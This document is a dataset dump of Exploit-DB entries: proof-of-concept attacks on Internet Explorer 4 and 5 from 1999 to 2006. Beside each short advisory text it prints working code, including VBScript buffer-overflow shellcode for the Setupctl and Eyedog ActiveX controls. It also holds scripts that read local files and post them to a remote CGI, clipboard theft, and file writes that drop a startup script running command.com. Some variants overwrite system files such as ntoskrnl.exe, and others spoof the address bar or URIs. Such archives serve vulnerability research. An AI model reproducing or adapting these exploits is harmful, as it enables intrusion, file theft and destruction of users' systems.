deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19515
Description: Microsoft Internet Explorer 4 (Windows 95/NT 4.0) - Setupctl ActiveX Control Buffer Overflow
Type: remote
Platform: windows
Date: 1999-09-27
Author: Shane Hird

Exploit:
Microsoft Internet Explorer 4.0 for Windows 95/Windows NT 4 Setupctl ActiveX Control Buffer Overflow

source: https://www.securityfocus.com/bid/667/info

There is a buffer overflow in the setupctl ActiveX control that used to ship with some versions of Microsoft's Internet Explorer. This ActiveX control is used to link to an update site at Microsoft and is marked 'Safe for Scripting' . Arbitrary commands may be executed if the ActiveX control is run in a malicious manner. 

SETUPCTL

Apparently a control that was once used for the IE update 
web site which is no longer in use, although it should 
still exist on a lot of systems. With this exploit, similar 
to the PDF exploit, ESP points to our code so we simply RET 
to the same JMP ESP in Shell32. Also, this exploit differs 
in that we set a property first (DistUnit) with the long 
string, then call the method (InstallNow). Again, I have 
simply demonstrated how to execute CALC.EXE, though any 
code can be executed.


<object classid="clsid:F72A7B0E-0DD8-11D1-BD6E-
00AA00B92AF1" id = "setupctl">
</object>

<script language="vbscript"><!--

msgbox("Setupctl 1.0 Type Library Buffer Overrun" + Chr(10) 
+ "Written by Shane Hird")

expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA"

expstr = expstr + Chr(235)	'Address in SHELL32, Win98 
(7FD035EB) of JMP ESP
expstr = expstr + Chr(53)	'You may need to use a 
different address
expstr = expstr + Chr(208)
expstr = expstr + Chr(127)

'NOP for debugging purposes
expstr = expstr + Chr(144)

'MOV EDI, ESP
expstr = expstr + Chr(139) + Chr(252)

'ADD EDI, 19h (Size of code)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)

'PUSH EAX (Window Style EAX = 41414141)
expstr = expstr + Chr(80)

'PUSH EDI (Address of command line)
expstr = expstr + Chr(87)

'MOV EDX, BFFA0960 (WinExec, Win98)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + 
Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'XOR EAX, EAX
expstr = expstr + Chr(51) + Chr(192)

'PUSH EAX
expstr = expstr + Chr(80)

'MOV EDX, BFF8D4CA (ExitProcess, Win98)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) 
+ Chr(191)

'CALL EDX
expstr = expstr + Chr(255) + Chr(210)

'Replace with any command + 0 (automatically appended)
expstr = expstr + "CALC.EXE"

'Run exploit
setupctl.DistUnit = expstr
setupctl.InstallNow

--></script>
Exploit-DB #19164
Description: Microsoft Internet Explorer 4 - Clipboard Paste
Type: remote
Platform: windows
Date: 1999-01-21
Author: Juan Carlos Garcia Cuartango

Exploit:
source: https://www.securityfocus.com/bid/215/info

The Windows clipboard contains data that has been cut or copied from various windows applications. This data can be accessed and posted to malicious web forms at web sites without the knowledge of the visiting end-user. Normally, Microsoft security prevents forms from accessing data other than what was copied from within the same application, however, a Microsoft Forms 2.0 TextBox ActiveX object can bypass these security rules.

The Forms 2.0 ActiveX object does not come with the Operating System. This control is loaded when Visual Basic 5.0, Project 98, Outlook 98, or Office 97 is installed on the host.

function GetClipBoard()
{
tb.paste(); // paste over the MS Forms 2.0 TextBox
document.forms(0).S1.value=tb.text; // moves the text to the text area box
}
Exploit-DB #19490
Description: Microsoft Internet Explorer 4.0.1/5 - Import/Export Favorites
Type: remote
Platform: windows
Date: 1999-09-10
Author: Georgi Guninski

Exploit:
Microsoft Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0,Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4 Import/Export Favorites Vulnerability

source: https://www.securityfocus.com/bid/627/info

The ImportExportFavorites() method, used to import and export favorites to/from a file in IE5, can be made to write to any file on the system, in some cases from an email or remote webpage.

This will create a file in the root of C: containing the user's favorites.
<SCRIPT>
window.external.ImportExportFavorites(0,"c:\\fav.hta");
</SCRIPT>
Exploit-DB #19719
Description: Microsoft Internet Explorer 4.0/4.0.1/5.0/5.0.1/5.5 - preview Security Zone Settings Lag
Type: remote
Platform: windows
Date: 2000-01-07
Author: Georgi Guninski

Exploit:
Microsoft Internet Explorer 4.0 for Windows 3.1/Windows 95,Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.5 preview,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0,Internet Explorer 5.0.1 Security Zone Settings Lag Vulnerability

source: https://www.securityfocus.com/bid/923/info

When a new document is loaded into an IE window, IE will not update the Security Zone settings for that window until the new document is completely loaded. This means that if a local document is loaded, and then a large remote document is loaded that has JavaScript at the very beginning, the JavaScript may load and execute before the Security Zone settings are updated. This could lead to remote and untrusted JavaScript running as local trusted code, with full access to local files, cookies, etc.


-----------------img2main.html---------------------------------------
<A HREF="img2.html" TARGET="victim">link</A>
<SCRIPT>
alert("Create a short text file C:\\test.txt and it will be read and shown in a message box");
a=window.open("file://c:/test.txt","victim");
setTimeout("document.links[0].click()",2000);
</SCRIPT>
---------------------------------------------------------------------

----------------img2.html--------------------------------------------
<HTML>
<IMG SRC="javascript:a=window.open('javascript:alert(\'Here is your file: \'+opener.document.body.innerText)');alert('Just an alert, but is necessary. Wait a little.')">
</HTML>
---------------------------------------------------------------------
Exploit-DB #19939
Description: Microsoft Internet Explorer 4.0/5.0/5.5 preview/5.0.1 - DocumentComplete() Cross Frame Access
Type: remote
Platform: windows
Date: 2000-05-17
Author: Andrew Nosenko

Exploit:
source: https://www.securityfocus.com/bid/1224/info

The DocumentComplete() function in IE does not properly validate origin domains.

Therefore it is possible for a remote webserver to gain read access to local files on the machine of any website visitor or email recipient by accessing the browser object of a frame containing local content. Only files that can be opened by a browser window (eg. *.htm, *.js, *.txt etc) are viewable, and the path and name of the file must be known by the attacker.

Update (May 16, 2001): A new variant of this vulnerability has been discovered. Microsoft has released a new patch to address all known variants of this vulnerability. 

<iframe id=clientContent width=0 height=0 noborder>
</iframe>
<script for=clientContent event="DocumentComplete(browser)">
alert (browser.document.body.innerText);

// browser is an instance of the IWebBrowser COM object

document.forms[0].elements[0].value = browser.document.body.innerText;
document.forms[0].submit ();

</script>

<script>
clientContent.navigate("c:\\known_file.txt")
</script>
<form action="/cgi/malicious-script.cgi" method=post onSubmit="window.alert(document.forms[0].elements[0].value); return
true">
<input name="file_text" type=hidden>
</form>
Exploit-DB #19662
Description: Microsoft Internet Explorer 4.1/5.0/4.0.1 - Subframe Spoofing
Type: remote
Platform: windows
Date: 1999-11-30
Author: Georgi Guninski

Exploit:
Internet Explorer 4.1 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0 Subframe Spoofing Vulnerability

source: https://www.securityfocus.com/bid/855/info

IE's default security settings allow a malicious webpage to open a new browser, open another site's main frame in that new browser and then set any subframes to a URL of their choosing. This could lead to misappropriation of private information, among other problems. 

<SCRIPT>
b=window.open("http://www.citybank.com");
function g()
{
b.frames[2].location="http://www.yahoo.com";
}
setTimeout("g()",6000);
</SCRIPT>
Exploit-DB #19487
Description: Microsoft Internet Explorer 4/5 - ActiveX 'Eyedog' Remote Overflow
Type: remote
Platform: windows
Date: 1999-08-21
Author: Shane Hird's

Exploit:
Microsoft Internet Explorer 4.0/5.0 for Windows 95/Windows NT 4/Windows 2000/Windows 95/Windows 98 ActiveX "Eyedog" Vulnerability

source: https://www.securityfocus.com/bid/619/info

The Eyedog ActiveX control is marked 'safe for scripting' although it permits registry access and other information gathering methods to be used. It also contains a buffer overflow error. These weaknesses can be exploited remotely via a malicious webpage or email.

With this control, MSInfoLoadFile is the offending method. 
There is no easy way to RET to our code, so instead, I have 
shown how to simply RET to ExitProcess directly. This will 
cause the host to terminate.

<object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA"
id="eye"></object>

<script language="vbscript"><!--

msgbox("EYEDOG OLE Control module Buffer Overrun (Local 
Version)" + Chr(10) + "Written by Shane Hird")

'Padding for the exploit
expstr 
= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA"

'RET address (ExitProcess, BFF8D4CA)
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'Call exploitable method (MSInfoLoadFile)
eye.MSInfoLoadFile(expstr)

--></script>
Exploit-DB #19094
Description: Microsoft Internet Explorer 4/5 - DHTML Edit ActiveX Control File Stealing / Cross Frame Access
Type: remote
Platform: windows
Date: 1999-04-22
Author: Georgi Guninsky

Exploit:
source: https://www.securityfocus.com/bid/116/info

Vulnerabilities in an ActiveX control distributed with Internet Explorer 5 and available for Internet Explorer 4 allow malicous web sites to steal local files and to bypass cross-frame security rules.

The DHTML Edit Control Safe for Scripting ActiveX control allows web authors and application developers to add WYSIWYG DHTML editing capabilities to thier web sites and applications. 

The control allows the web site to upload any data entered into the control. A vulnerability in the control allows malicious web site operators to instruct the control to upload a specific file if they known its pathname.

Another vulnerability in this controls also allows local files to be stolen by using redirection. When a malicious web server sends a redirect to an HTTP request made by the control, its location property will still contain the requested url but will instead display the redirected url, including local URLs such as 'file://c:/config.sys'. The contents of the control can then be acessed (using dh.DOM.body.innerText) and be uploaded to the web server.

Another vulnerability in this control allows an HTML document to acess the contents (read and write) of other framers regardless of their domain of origin against the cross-frame security rules. It also allows the page to perform spoofed transactions allowing it to submit forms without user intervention.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19094.tar.gz
Exploit-DB #19591
Description: Microsoft Internet Explorer 4/5 / Outlook 98 - 'window.open' Redirect
Type: remote
Platform: windows
Date: 1999-11-04
Author: Georgi Guninski

Exploit:
Microsoft Internet Explorer 4.0 for Windows 95/Windows NT 3/Windows NT 4,Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4,Outlook 98 0 window.open Redirect Vulnerability

source: https://www.securityfocus.com/bid/766/info

If window.open is called with a target URL that redirects to a client-side file and then a variable is created pointing to the contents of the new window, the contents of the new window (the local file) can be read and possibly manipulated or transmitted by other code in the webpage.

The filename and location would have to be known by the attacker, and it could only be a file that is viewable by a browser. 

The exploit code is:
a=window.open(some URL that redirects to the local file);
b=a.document;
Exploit-DB #24102
Description: Microsoft Internet Explorer 4/5/6 - Embedded Image URI Obfuscation
Type: remote
Platform: windows
Date: 2004-05-10
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/10308/info

It has been reported that Microsoft Internet Explorer is prone to a URI obfuscation weakness that may hide the true contents of a URI link. The issue occurs when an image is contained within a properly formatted HREF tag.

This weakness could be employed to trick a user into following a malicious link.

An attacker could exploit this issue by supplying a malicious image that appears to be a URI link pointing to a page designed to mimic that of a trusted site. If an unsuspecting victim were to mouseover the link in an attempt to verify the authenticity of where it references, they may be deceived into believing that the link references the actual trusted site.

<A HREF=http://www.example.com alt="http://www.example.com">
<IMG SRC="malware.gif" USEMAP="#malware" border=0
alt="http://www.example.com"></A>
<map NAME="malware" alt="http://www.example.com">
<area SHAPE=RECT COORDS="224,21" HREF="http://www.malware.com"
alt="http://www.example.com">
</MAP>
Exploit-DB #19637
Description: Microsoft Internet Explorer 5 (Windows 95/98/2000/NT 4.0) - XML HTTP Redirect
Type: remote
Platform: windows
Date: 1999-11-22
Author: Georgi Guninksi

Exploit:
MS IE 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4 XML HTTP Redirect Vulnerability

source: https://www.securityfocus.com/bid/815/info

A vulnerability in the method IE5 uses to process XML data may allow a malicious web site owner to read files on a visiting user's computer. A web page may be created that contains an XML object type that contains instructions to read known files on a visitor's local host (and or domain). The IE5 client will allow the XML redirect to access files within its own domain.

Note that if this vulnerability is exploited for IE5 for Unix, the only reported result is that the application will suffer an "Internal Error" and crash. 

<object id="xm" type="text/xml"
data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height=200>
</object>
<SCRIPT>
function f()
{
s=xm.body.innerHTML;
a=window.open();
//alert(s);
a.document.open();
a.document.write("Here is a part of AUTOEXEC.BAT (the error message is
normal):<BR>"+s);
a.document.close();
}
setTimeout("f()",5000);
</SCRIPT>
Exploit-DB #19468
Description: Microsoft Internet Explorer 5 - ActiveX Object For Constructing Type Libraries For Scriptlets File Write
Type: remote
Platform: windows
Date: 1999-08-21
Author: Georgi Guninski

Exploit:
Microsoft Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4 ActiveX "Object for constructing type libraries for scriptlets" Vulnerability

source: https://www.securityfocus.com/bid/598/info

The 'scriptlet.typlib' ActiveX control can create, edit, and overwrite files on the local disk. This means that an executable text file (e.g. a '.hta' file) can be written to the startup folder of a remote machine and will be executed the next time that machine reboots. Attackers can exploit this vulnerability via a malicious web page or an email message. 

Exploit by Georgi Guninski.
A working demo is available at:
http://www.nat.bg/~joro/scrtlb.html

<object id="scr"
classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
>
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\guninski.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert('Written by Georgi Guninski
http://www.nat.bg/~joro');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</SCRIPT>
</object>

Exploit by Seth Georgion
A working demo is available at: http://www.sassproductions.com/hacked.htm

Windows 98:
<p>
<object id="scr"
classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" width="14"
height="14"
></object><script>
scr.Reset();
scr.Path="C:\\windows\\system\\Krnl386.exe";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert(
'Screw Denise Richards, Debbie Johnson
r0x!');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</script>
</p>

Windows NT:
<p>
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
width="14" height="14">
</object>
<script>
scr.Reset();
scr.Path="C:\\WINNT\\System32\\ntoskrnl.exe";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert(
'Screw Denise Richards, Debbie Johnson
r0x!');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</script>
</p>
Exploit-DB #27577
Description: Microsoft Internet Explorer 5 - Address Bar Spoofing
Type: remote
Platform: windows
Date: 2006-04-03
Author: Hai Nam Luke

Exploit:
source: https://www.securityfocus.com/bid/17404/info

Internet Explorer is prone to address-bar spoofing.

An attacker can exploit this issue to display the URI of a trusted and known site in the address bar, while running an attacker-supplied Macromedia Flash application. This may aid in phishing-style attacks and possibly allow access to properties of the trusted domain.

<script language="javascript">
function pause(ms)
{
date = new Date();
var curDate = null;

do { var curDate = new Date(); }
while(curDate-date < ms);
}

function spoof () {
win = window.open('http://www.microsoft.com/','new')
pause (2000)
win = window.open('http://www.example.com/swfs/index.swf','new')
pause (2000)
win = window.open('http://www.microsoft.com/','new')

}
</script>
<a href="javascript: spoof()">Perform the test</a>
Exploit-DB #21361
Description: Microsoft Internet Explorer 5 - Cascading Style Sheet File Disclosure (MS02-023)
Type: remote
Platform: windows
Date: 2002-04-02
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/4411/info

The Cascading Style-Sheets (CSS) interpreter for Microsoft Internet Explorer is prone to an issue which may allow an attacker to read the contents of files on a web user's system.

It is possible to use the cssText property of the styleSheet to read portions of files that exist on an arbitrary web user's system. Successful exploitation will cause the CSS interpreter used by Internet Explorer to read portions of text if the targetted file contains a "{" character.

An attacker may exploit this via a malicious webpage to disclose sensitive information contained in (almost) arbitrary files that exist on a web user's system.

Microsoft Security Bulletin MS02-023 includes patches for this vulnerability. There have been reports that the Microsoft patches do not completely address this issue. A HTTP redirect may be used in a malicious webpage to exploit this vulnerability on some patched systems. 

This example attempts to read content from "c:/test.txt":

<link id="oFile" rel="stylesheet" href="file://c:/test.txt" disabled>
<script language="jscript">
onload=function () {
alert(document.styleSheets.oFile.cssText || "Could not extract any text
from file.");
}
</script>
Exploit-DB #22728
Description: Microsoft Internet Explorer 5 - Classic Mode FTP Client Cross Domain Scripting
Type: remote
Platform: windows
Date: 2003-06-04
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/7810/info

The Microsoft Internet Explorer FTP indexing implementation could allow script code to be executed in the security zone of another FTP site. This vulnerability only exists when Internet Explorer FTP is used in "Classic Mode".

Any script would be executed with the permissions of the user running Internet Explorer. 

ftp://%3cimg%20src%3d%22%22%20onerror%3d%22alert%28document%2eURL%29%22%3e.example.com/
Exploit-DB #22784
Description: Microsoft Internet Explorer 5 - Custom HTTP Error HTML Injection
Type: remote
Platform: windows
Date: 2003-06-17
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/7939/info

An issue has been reported for Microsoft Internet Explorer that may result in HTML injection attacks. The vulnerability exists when IE is used to display custom HTTP error messages also known as "Friendly HTTP error messages".

Due to some errors when extracting URLs from the custom error pages, it is possible to cause IE to output malicious HTML code.

Exploitation may allow theft of cookie-based authentication credentials or other attacks.

res://shdoclc.dll/HTTP_501.htm#javascript:%2f*://*%2falert(location.href)/

"Marek Blahus" <marek@blahus.cz> also provided an additional proof-of-concept example:

res://shdoclc.dll/http_404.htm#javascript:alert(String.fromCharCode(72,101,108,108,111));//://clickme/
Exploit-DB #21750
Description: Microsoft Internet Explorer 5 - Dialog Same Origin Policy Bypass Variant (MS02-047)
Type: remote
Platform: windows
Date: 2002-04-16
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/5561/info

Microsoft Internet Explorer includes support for dialog windows through script calls to the two functions showModalDialog and showModelessDialog. These functions accept a URL location for the dialog content, and an option argument parameter to allow data to be passed to the dialog from the calling page.

A check is done to ensure that data is only passed to dialogs located in the same domain as the calling page. This prevents a malicious party from injecting content into arbitrary dialogs. However, if the URL provided as the dialog source redirects to a second location, only the first is subject to this security check.

Exploitation may allow malicious content to be inserted into sensitive dialogs. Execution of arbitrary script within the Local Computer Zone has been demonstrated.

This variant is related to the injection of malicious content into the analyze.dlg dialogue included in shdoclc.dll. This issue was originally included in BID 4527, however a new entry has been allocated to cover the patch released in Microsoft advisory MS02-047. 

<script language="jscript">
// HTML to be injected (will run in the "My Computer" zone)
var sHTML="<b>We're in!</b>";

// Object to return from tags("link"), must be a function because they use
// objects(i) instead of objects[i], VB style collection access.
function oExploit(iSec) {
    return {
        // Satisfy line 201
        rel:"stylesheet",

        // Satisfy line 204
        readyState:"exploit",

        // Exploit line 205
        href:sHTML
    };
}

// A length property so it will enter the loop
oExploit.length=1;

// A fake window object, so no errors will be raised during the process,
// the custom "tags" method will return an empty array for any element
// other than our target (<link>), in which case it will return the oExploit
// object above.
var oSecurity={
    document:{
        all:{
            tags:function (sTag) {
                return sTag=="link" ? oExploit : [];
            }
        }
    }
}

// Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg
// and oSecurity (fake window) is sent as the dialog argument.
showModelessDialog("getFile.asp",oSecurity);
</script>